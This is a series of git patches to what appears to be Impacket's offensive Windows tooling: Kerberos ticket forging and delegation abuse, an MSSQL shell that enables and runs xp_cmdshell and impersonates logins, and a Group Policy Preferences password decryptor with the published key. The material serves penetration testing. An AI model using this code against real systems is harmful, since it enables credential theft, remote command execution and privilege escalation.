4fff848148..295e48f0ee 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -408,13 +408,19 @@ def PACparseGroupIds(data): parsed_data['Group Count'] = kerbdata['GroupCount'] all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] - groups = [", ".join(all_groups_id)] + parsed_data['Groups'] = ", ".join(all_groups_id) + groups = [] + unknown_count = 0 # Searching for common group name for gid in all_groups_id: group_name = MsBuiltInGroups.get(gid) if group_name: groups.append(f"({gid}) {group_name}") - parsed_data['Groups'] = groups + else: + unknown_count += 1 + if unknown_count > 0: + groups.append(f"+{unknown_count} Unknown custom group{'s' if unknown_count > 1 else ''}") + parsed_data['Groups (decoded)'] = groups # UserFlags parsing UserFlags = kerbdata['UserFlags'] From 0a5e5e1ecbd2cd374bb76c59fe0a1d03dc5df246 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 7 Sep 2022 17:05:58 +0200 Subject: [PATCH 143/152] Add credit --- examples/describeTicket.py | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 295e48f0ee..0503dc3493 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -13,6 +13,7 @@ # Authors: # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) +# Mathieu Calemard du Gardin (@Dramelac_) import logging import sys From 1fe2bbb33622b17dd56bf3e86ea3fcbeb24daa3c Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 7 Sep 2022 17:27:45 +0200 Subject: [PATCH 144/152] Change default PAC --- examples/ticketer.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index ef460d7274..f9144a1abb 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -249,8 +249,8 @@ def createBasicPac(self, kdcRep): if self.__options.extra_pac: self.createUpnDnsPac(pacInfos) - self.createAttributesInfoPac(pacInfos) - self.createRequestorInfoPac(pacInfos) + self.createAttributesInfoPac(pacInfos) + self.createRequestorInfoPac(pacInfos) return pacInfos From 57b7c936785df71533b533953c21e7c537a0545d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 8 Sep 2022 12:43:06 +0200 Subject: [PATCH 145/152] Simplifying the process a bit, and improving output --- examples/getST.py | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index b9a44bbc82..30146fc1b5 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -457,8 +457,6 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) if self.__options.u2u: - logging.info("Combining S4U2self with U2U") - logging.info("TGT session key: %s" % hexlify(sessionKey.contents).decode()) opts.append(constants.KDCOptions.renewable_ok.value) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) @@ -488,7 +486,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.debug('Final TGS') print(tgsReq.prettyPrint()) - logging.info('Requesting S4U2self') + logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else '')) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) @@ -689,21 +687,11 @@ def run(self): # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') - if self.__options.u2u and self.__password: - # 1. calculating the NT hash for the user password - # 2. Using it to call getKerberosTGT and obtain a ticket with an RC4_HMAC session key - # 3. the RC4_HMAC session key can then be used for SPN-less RBCD abuse (session key set as new password of the user between S4U2self and S4U2proxy) - logging.info("Requesting TGT with etype RC4") - self.__nthash = hexlify(string_to_key(23, self.__password, '').contents).decode() - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), - self.__aesKey, - self.__kdcHost) - else: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode()) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: From d8b0809d0616503c4226887b603965026e26431b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 8 Sep 2022 12:43:46 +0200 Subject: [PATCH 146/152] Printing ticket session key --- examples/describeTicket.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0503dc3493..8fcebb430a 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -223,10 +223,15 @@ def parse_ccache(args): for creds in ccache.credentials: logging.info('Parsing credential[%d]:' % cred_number) - TGS = creds.toTGS() - # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') - decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + rawTicket = creds.toTGS() + decodedTicket = decoder.decode(rawTicket['KDC_REP'], asn1Spec=TGS_REP())[0] + + # Printing the session key + sessionKey = hexlify(rawTicket['sessionKey'].contents).decode('utf-8') + logging.info("%-30s: %s" % ("Ticket Session Key", sessionKey)) + + # Beginning the parsing of the ticket logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') From 1534e4496511b4f1ac00224e2f9b994a8b5a87e1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 9 Sep 2022 12:43:17 +0200 Subject: [PATCH 147/152] Handled SID not found in LDAP error --- examples/rbcd.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/examples/rbcd.py b/examples/rbcd.py index 0521bc39ef..f29f7d6b6f 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -371,8 +371,10 @@ def get_allowed_to_act(self): logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() - SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] - logging.info(' %-10s (%s)' % (SamAccountName, SID)) + SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical()) + if SidInfos: + SamAccountName = SidInfos[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: From 86a5cbf8a112d3f4442d6e9f920feb7d5abaaabc Mon Sep 17 00:00:00 2001 From: Mayfly277 Date: Mon, 12 Sep 2022 23:24:54 +0200 Subject: [PATCH 148/152] mssqlclient.py commands and promt improvements --- examples/mssqlclient.py | 181 +++++++++++++++++++++++++++++++++++++--- impacket/tds.py | 14 +++- 2 files changed, 179 insertions(+), 16 deletions(-) diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index 2c828af3db..6985f3cd43 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -32,10 +32,12 @@ import cmd class SQLSHELL(cmd.Cmd): - def __init__(self, SQL): + def __init__(self, SQL, show_queries=False): cmd.Cmd.__init__(self) self.sql = SQL - self.prompt = 'SQL> ' + self.show_queries = show_queries + self.at = [] + self.set_prompt() self.intro = '[!] Press help for extra shell commands' def do_help(self, line): @@ -44,17 +46,98 @@ def do_help(self, line): exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means + enum_db - enum databases + enum_links - enum linked servers + enum_impersonate - check logins that can be impersonate + enum_logins - enum login users + enum_users - enum current db users + enum_owner - enum db owner + exec_as_user {user} - impersonate with execute as user + exec_as_login {login} - impersonate with execute as login xp_cmdshell {cmd} - executes cmd using xp_cmdshell + xp_dirtree {path} - executes xp_dirtree on the path sp_start_job {cmd} - executes cmd using the sql server agent (blind) + use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step) ! {cmd} - executes a local shell cmd - """) + show_query - show query + mask_query - mask query + """) + + def postcmd(self, stop, line): + self.set_prompt() + return stop + + def set_prompt(self): + try: + row = self.sql_query('select system_user + SPACE(2) + current_user as "username"', False) + username_prompt = row[0]['username'] + except: + username_prompt = '-' + if self.at is not None and len(self.at) > 0: + at_prompt = '' + for (at, prefix) in self.at: + at_prompt += '>' + at + self.prompt = 'SQL %s (%s@%s)> ' % (at_prompt, username_prompt, self.sql.currentDB) + else: + self.prompt = 'SQL (%s@%s)> ' % (username_prompt, self.sql.currentDB) + + def do_show_query(self, s): + self.show_queries = True + + def do_mask_query(self, s): + self.show_queries = False + + def execute_as(self, exec_as): + if self.at is not None and len(self.at) > 0: + (at, prefix) = self.at[-1:][0] + self.at = self.at[:-1] + self.at.append((at, exec_as)) + else: + self.sql_query(exec_as) + self.sql.printReplies() + + def do_exec_as_login(self, s): + exec_as = "execute as login='%s';" % s + self.execute_as(exec_as) + + def do_exec_as_user(self, s): + exec_as = "execute as user='%s';" % s + self.execute_as(exec_as) + + def do_use_link(self, s): + if s == 'localhost': + self.at = [] + elif s == '..': + self.at = self.at[:-1] + else: + self.at.append((s, '')) + row = self.sql_query('select system_user as "username"') + self.sql.printReplies() + if len(row) < 1: + self.at = self.at[:-1] + + def sql_query(self, query, show=True): + if self.at is not None and len(self.at) > 0: + for (linked_server, prefix) in self.at[::-1]: + query = "EXEC ('" + prefix.replace("'", "''") + query.replace("'", "''") + "') AT " + linked_server + if self.show_queries and show: + print('[%%] %s' % query) + return self.sql.sql_query(query) def do_shell(self, s): os.system(s) + def do_xp_dirtree(self, s): + try: + self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s) + self.sql.printReplies() + self.sql.printRows() + except: + pass + def do_xp_cmdshell(self, s): try: - self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) + self.sql_query("exec master..xp_cmdshell '%s'" % s) self.sql.printReplies() self.sql.colMeta[0]['TypeData'] = 80*2 self.sql.printRows() @@ -63,7 +146,7 @@ def do_xp_cmdshell(self, s): def do_sp_start_job(self, s): try: - self.sql.sql_query("DECLARE @job NVARCHAR(100);" + self.sql_query("DECLARE @job NVARCHAR(100);" "SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());" "EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG'," "@owner_login_name='sa',@delete_level=3;" @@ -81,10 +164,10 @@ def do_lcd(self, s): print(os.getcwd()) else: os.chdir(s) - + def do_enable_xp_cmdshell(self, line): try: - self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" + self.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;" "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") self.sql.printReplies() self.sql.printRows() @@ -93,8 +176,79 @@ def do_enable_xp_cmdshell(self, line): def do_disable_xp_cmdshell(self, line): try: - self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " - "'show advanced options', 0 ;RECONFIGURE;") + self.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure " + "'show advanced options', 0 ;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_enum_links(self, line): + self.sql_query("EXEC sp_linkedservers") + self.sql.printReplies() + self.sql.printRows() + self.sql_query("EXEC sp_helplinkedsrvlogin") + self.sql.printReplies() + self.sql.printRows() + + def do_enum_users(self, line): + self.sql_query("EXEC sp_helpuser") + self.sql.printReplies() + self.sql.printRows() + + def do_enum_db(self, line): + try: + self.sql_query("select name, is_trustworthy_on from sys.databases") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_enum_owner(self, line): + try: + self.sql_query("SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_enum_impersonate(self, line): + try: + self.sql_query("select name from sys.databases") + result = [] + for row in self.sql.rows: + result_rows = self.sql_query("use " + row['name'] + "; SELECT 'USER' as 'execute as', DB_NAME() " + "AS 'database',pe.permission_name," + "pe.state_desc, pr.name AS 'grantee', " + "pr2.name AS 'grantor' " + "FROM sys.database_permissions pe " + "JOIN sys.database_principals pr ON " + " pe.grantee_principal_id = pr.principal_Id " + "JOIN sys.database_principals pr2 ON " + " pe.grantor_principal_id = pr2.principal_Id " + "WHERE pe.type = 'IM'") + if result_rows: + result.extend(result_rows) + result_rows = self.sql_query("SELECT 'LOGIN' as 'execute as', '' AS 'database',pe.permission_name," + "pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor' " + "FROM sys.server_permissions pe JOIN sys.server_principals pr " + " ON pe.grantee_principal_id = pr.principal_Id " + "JOIN sys.server_principals pr2 " + " ON pe.grantor_principal_id = pr2.principal_Id " + "WHERE pe.type = 'IM'") + result.extend(result_rows) + self.sql.printReplies() + self.sql.rows = result + self.sql.printRows() + except: + pass + + def do_enum_logins(self, line): + try: + self.sql_query("select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, " + "sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, " + "sl.bulkadmin from master.sys.server_principals r left join master.sys.syslogins sl " + "on sl.sid = r.sid where r.type in ('S','E','X','U','G')") self.sql.printReplies() self.sql.printRows() except: @@ -102,12 +256,12 @@ def do_disable_xp_cmdshell(self, line): def default(self, line): try: - self.sql.sql_query(line) + self.sql_query(line) self.sql.printReplies() self.sql.printRows() except: pass - + def emptyline(self): pass @@ -126,6 +280,7 @@ def do_exit(self, line): parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 'Authentication (default False)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-show', action='store_true', help='show the queries') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') group = parser.add_argument_group('authentication') @@ -143,7 +298,7 @@ def do_exit(self, line): if len(sys.argv)==1: parser.print_help() sys.exit(1) - + options = parser.parse_args() if options.debug is True: @@ -179,7 +334,7 @@ def do_exit(self, line): logging.error(str(e)) res = False if res is True: - shell = SQLSHELL(ms_sql) + shell = SQLSHELL(ms_sql, options.show) if options.file is None: shell.cmdloop() else: diff --git a/impacket/tds.py b/impacket/tds.py index b1b212503f..62e87a0c49 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -48,6 +48,8 @@ class DummyPrint: def logMessage(self,message): if message == '\n': print(message) + elif message == '\r': + print() else: print(message, end=' ') @@ -979,6 +981,13 @@ def processColMeta(self): col['Length'] = 10 fmt = '%%%ds' + col['minLenght'] = 0 + for row in self.rows: + if len(str(row[col['Name']])) > col['minLenght']: + col['minLenght'] = len(str(row[col['Name']])) + if col['minLenght'] < col['Length']: + col['Length'] = col['minLenght'] + if len(col['Name']) > col['Length']: col['Length'] = len(col['Name']) elif col['Length'] > self.MAX_COL_LEN: @@ -992,11 +1001,10 @@ def printColumnsHeader(self): return for col in self.colMeta: self.__rowsPrinter.logMessage(col['Format'] % col['Name'] + self.COL_SEPARATOR) - self.__rowsPrinter.logMessage('\n') + self.__rowsPrinter.logMessage('\r') for col in self.colMeta: self.__rowsPrinter.logMessage('-'*col['Length'] + self.COL_SEPARATOR) - self.__rowsPrinter.logMessage('\n') - + self.__rowsPrinter.logMessage('\r') def printRows(self): if self.lastError is True: From 06ea5fde50995071a23c0c4aaf21b40720a25d1b Mon Sep 17 00:00:00 2001 From: Dramelac Date: Tue, 20 Sep 2022 10:48:07 +0200 Subject: [PATCH 149/152] Fix parameter merge --- examples/ticketer.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index 780d93b483..bfb7361176 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -883,8 +883,8 @@ def run(self): 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From 1261fb518c70e0f48ccbaff950f048ab0c1f9107 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Mon, 11 Dec 2023 22:03:45 +0100 Subject: [PATCH 150/152] removed unneeded changes --- examples/Get-GPPPassword.py | 206 ++-- examples/GetUserSPNs.py | 17 +- examples/dacledit.py | 976 ------------------ examples/describeTicket.py | 796 -------------- examples/findDelegation.py | 37 +- examples/machineAccountQuota.py | 340 ------ examples/mssqlclient.py | 181 +--- examples/ntlmrelayx.py | 32 +- examples/owneredit.py | 517 ---------- examples/rbcd.py | 6 +- examples/secretsdump.py | 60 +- examples/smbserver.py | 2 - examples/ticketer.py | 180 +--- .../examples/ntlmrelayx/attacks/ldapattack.py | 158 +-- .../examples/ntlmrelayx/attacks/smbattack.py | 21 +- .../ntlmrelayx/clients/smbrelayclient.py | 34 - impacket/examples/ntlmrelayx/utils/config.py | 3 +- impacket/examples/secretsdump.py | 81 +- impacket/krb5/pac.py | 55 +- impacket/ntlm.py | 7 +- impacket/smbserver.py | 24 +- impacket/tds.py | 14 +- 22 files changed, 174 insertions(+), 3573 deletions(-) delete mode 100755 examples/dacledit.py delete mode 100755 examples/describeTicket.py delete mode 100644 examples/machineAccountQuota.py delete mode 100644 examples/owneredit.py diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index c97bf424ea..828762b782 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -10,7 +10,6 @@ # Description: # Python script for extracting and decrypting Group Policy Preferences passwords, # using Impacket's lib, and using streams for carving files instead of mounting shares -# https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/ # # Authors: # Remi Gascou (@podalirius_) @@ -19,17 +18,20 @@ import argparse import base64 -import xml -import chardet import logging import os import re import sys import traceback + from xml.dom import minidom -import io +from io import BytesIO + from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import unpad + +import charset_normalizer as chardet + from impacket import version from impacket.examples import logger, utils from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError @@ -48,98 +50,57 @@ def list_shares(self): resp = self.smb.listShares() shares = [] for k in range(len(resp)): - shares.append(resp[k]["shi1_netname"][:-1]) - print(" - %s" % resp[k]["shi1_netname"][:-1]) + shares.append(resp[k]['shi1_netname'][:-1]) + print(' - %s' % resp[k]['shi1_netname'][:-1]) print() - def find_cpasswords(self, base_dir, extension="xml"): + def find_cpasswords(self, base_dir, extension='xml'): logging.info("Searching *.%s files..." % extension) # Breadth-first search algorithm to recursively find .extension files files = [] - searchdirs = [base_dir + "/"] + searchdirs = [base_dir + '/'] while len(searchdirs) != 0: next_dirs = [] for sdir in searchdirs: - logging.debug("Searching in %s " % sdir) + logging.debug('Searching in %s ' % sdir) try: - for sharedfile in self.smb.listPath(self.share, sdir + "*", password=None): - if sharedfile.get_longname() not in [".", ".."]: + for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None): + if sharedfile.get_longname() not in ['.', '..']: if sharedfile.is_directory(): - logging.debug("Found directory %s/" % sharedfile.get_longname()) - next_dirs.append(sdir + sharedfile.get_longname() + "/") + logging.debug('Found directory %s/' % sharedfile.get_longname()) + next_dirs.append(sdir + sharedfile.get_longname() + '/') else: - if sharedfile.get_longname().endswith("." + extension): - logging.debug("Found matching file %s" % (sdir + sharedfile.get_longname())) + if sharedfile.get_longname().endswith('.' + extension): + logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname())) results = self.parse(sdir + sharedfile.get_longname()) if len(results) != 0: self.show(results) files.append({"filename": sdir + sharedfile.get_longname(), "results": results}) else: - logging.debug("Found file %s" % sharedfile.get_longname()) + logging.debug('Found file %s' % sharedfile.get_longname()) except SessionError as e: logging.debug(e) searchdirs = next_dirs - logging.debug("Next iteration with %d folders." % len(next_dirs)) + logging.debug('Next iteration with %d folders.' % len(next_dirs)) return files def parse_xmlfile_content(self, filename, filecontent): results = [] try: root = minidom.parseString(filecontent) - xmltype = root.childNodes[0].tagName + properties_list = root.getElementsByTagName("Properties") # function to get attribute if it exists, returns "" if empty - read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") - - # ScheduledTasks - if xmltype == "ScheduledTasks": - for topnode in root.childNodes: - task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] - for task in task_nodes: - for property in task.getElementsByTagName("Properties"): - results.append({ - "tagName": xmltype, - "attributes": [ - ("name", read_or_empty(task, "name")), - ("runAs", read_or_empty(property, "runAs")), - ("cpassword", read_or_empty(property, "cpassword")), - ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), - ("changed", read_or_empty(property.parentNode, "changed")), - ], - "file": filename - }) - elif xmltype == "Groups": - for topnode in root.childNodes: - task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] - for task in task_nodes: - for property in task.getElementsByTagName("Properties"): - results.append({ - "tagName": xmltype, - "attributes": [ - ("newName", read_or_empty(property, "newName")), - ("userName", read_or_empty(property, "userName")), - ("cpassword", read_or_empty(property, "cpassword")), - ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), - ("changed", read_or_empty(property.parentNode, "changed")), - ], - "file": filename - }) - else: - for topnode in root.childNodes: - task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] - for task in task_nodes: - for property in task.getElementsByTagName("Properties"): - results.append({ - "tagName": xmltype, - "attributes": [ - ("newName", read_or_empty(property, "newName")), - ("userName", read_or_empty(property, "userName")), - ("cpassword", read_or_empty(property, "cpassword")), - ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), - ("changed", read_or_empty(property.parentNode, "changed")), - ], - "file": filename - }) - + read_or_empty = lambda element, attribute: ( + element.getAttribute(attribute) if element.getAttribute(attribute) != None else "") + for properties in properties_list: + results.append({ + 'newname': read_or_empty(properties, 'newName'), + 'changed': read_or_empty(properties.parentNode, 'changed'), + 'cpassword': read_or_empty(properties, 'cpassword'), + 'password': self.decrypt_password(read_or_empty(properties, 'cpassword')), + 'username': read_or_empty(properties, 'userName'), + 'file': filename + }) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() @@ -148,8 +109,8 @@ def parse_xmlfile_content(self, filename, filecontent): def parse(self, filename): results = [] - filename = filename.replace("/", "\\") - fh = io.BytesIO() + filename = filename.replace('/', '\\') + fh = BytesIO() try: # opening the files in streams instead of mounting shares allows for running the script from # unprivileged containers @@ -161,9 +122,9 @@ def parse(self, filename): raise output = fh.getvalue() encoding = chardet.detect(output)["encoding"] - if encoding is not None: + if encoding != None: filecontent = output.decode(encoding).rstrip() - if "cpassword" in filecontent: + if 'cpassword' in filecontent: logging.debug(filecontent) results = self.parse_xmlfile_content(filename, filecontent) fh.close() @@ -176,55 +137,65 @@ def parse(self, filename): def decrypt_password(self, pw_enc_b64): if len(pw_enc_b64) != 0: - # Thank you Microsoft for publishing the key :) - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be - key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" - # Thank you Microsoft for using a fixed IV :) - iv = b"\x00" * 16 + # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) + key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \ + b'\x9b\x09\xa4\x33\xb6\x6c\x1b' + # thank you MS for using a fixed IV :) + iv = b'\x00' * 16 pad = len(pw_enc_b64) % 4 if pad == 1: pw_enc_b64 = pw_enc_b64[:-1] elif pad == 2 or pad == 3: - pw_enc_b64 += "=" * (4 - pad) + pw_enc_b64 += '=' * (4 - pad) pw_enc = base64.b64decode(pw_enc_b64) ctx = AES.new(key, AES.MODE_CBC, iv) pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) - return pw_dec.decode("utf-16-le") + return pw_dec.decode('utf-16-le') else: - logging.debug("cpassword is empty, cannot decrypt anything.") + logging.debug("cpassword is empty, cannot decrypt anything") return "" def show(self, results): for result in results: - logging.info("Found a %s XML file:" % result['tagName']) - logging.info(" %-10s: %s" % ("file", result['file'])) - for attr, value in result['attributes']: - if attr != "cpassword": - logging.info(" %-10s: %s" % (attr, value)) - print() + logging.info("NewName\t: %s" % result['newname']) + logging.info("Changed\t: %s" % result['changed']) + logging.info("Username\t: %s" % result['username']) + logging.info("Password\t: %s" % result['password']) + logging.info("File\t: %s \n" % result['file']) def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description="Group Policy Preferences passwords finder and decryptor.") - parser.add_argument("target", action="store", help="[[domain/]username[:password]@] or LOCAL (if you want to parse local files)") + parser = argparse.ArgumentParser(add_help=True, + description='Group Policy Preferences passwords finder and decryptor') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse") parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share") parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)") - parser.add_argument("-ts", action="store_true", help="Adds timestamp to every logging output") - parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') - group.add_argument("-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH") - group.add_argument("-no-pass", action="store_true", help="Don't ask for password (useful for -k)") - group.add_argument("-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line") - group.add_argument("-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)") - - group = parser.add_argument_group("connection") - - group.add_argument("-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") - group.add_argument("-target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it") - group.add_argument("-port", choices=["139", "445"], nargs="?", default="445", metavar="destination port", help="Destination port to connect to SMB Server") - + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -239,19 +210,21 @@ def parse_target(args): args.target_ip = address if domain is None: - domain = "" + domain = '' - if len(password) == 0 and len(username) != 0 and args.hashes is None and args.no_pass is False and args.aesKey is None: + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: from getpass import getpass + password = getpass("Password:") if args.aesKey is not None: args.k = True if args.hashes is not None: - lmhash, nthash = args.hashes.split(":") + lmhash, nthash = args.hashes.split(':') else: - lmhash, nthash = "", "" + lmhash = '' + nthash = '' return domain, username, password, address, lmhash, nthash @@ -265,7 +238,7 @@ def init_logger(args): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - logging.getLogger("impacket.smbserver").setLevel(logging.ERROR) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) def init_smb_session(args, domain, username, password, address, lmhash, nthash): @@ -290,28 +263,27 @@ def init_smb_session(args, domain, username, password, address, lmhash, nthash): return smbClient -if __name__ == '__main__': +def main(): print(version.BANNER) args = parse_args() init_logger(args) - - if args.target.upper() == "LOCAL": + if args.target.upper() == "LOCAL" : if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) - f = open(args.xmlfile, "r") - rawdata = 